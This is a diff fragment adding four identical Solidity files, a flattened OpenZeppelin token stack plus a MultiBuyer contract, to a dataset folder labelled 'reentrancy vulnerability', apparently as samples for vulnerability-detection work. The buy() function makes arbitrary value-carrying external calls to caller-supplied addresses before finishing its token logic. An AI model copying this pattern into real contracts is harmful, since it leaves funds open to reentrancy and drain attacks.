vulnerability/31895.sol b/smart_contract_dataset/reentrancy vulnerability/31895.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/31895.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/31900.sol b/smart_contract_dataset/reentrancy vulnerability/31900.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/31900.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32090.sol b/smart_contract_dataset/reentrancy vulnerability/32090.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32090.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32091.sol b/smart_contract_dataset/reentrancy vulnerability/32091.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/32091.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/32095.sol 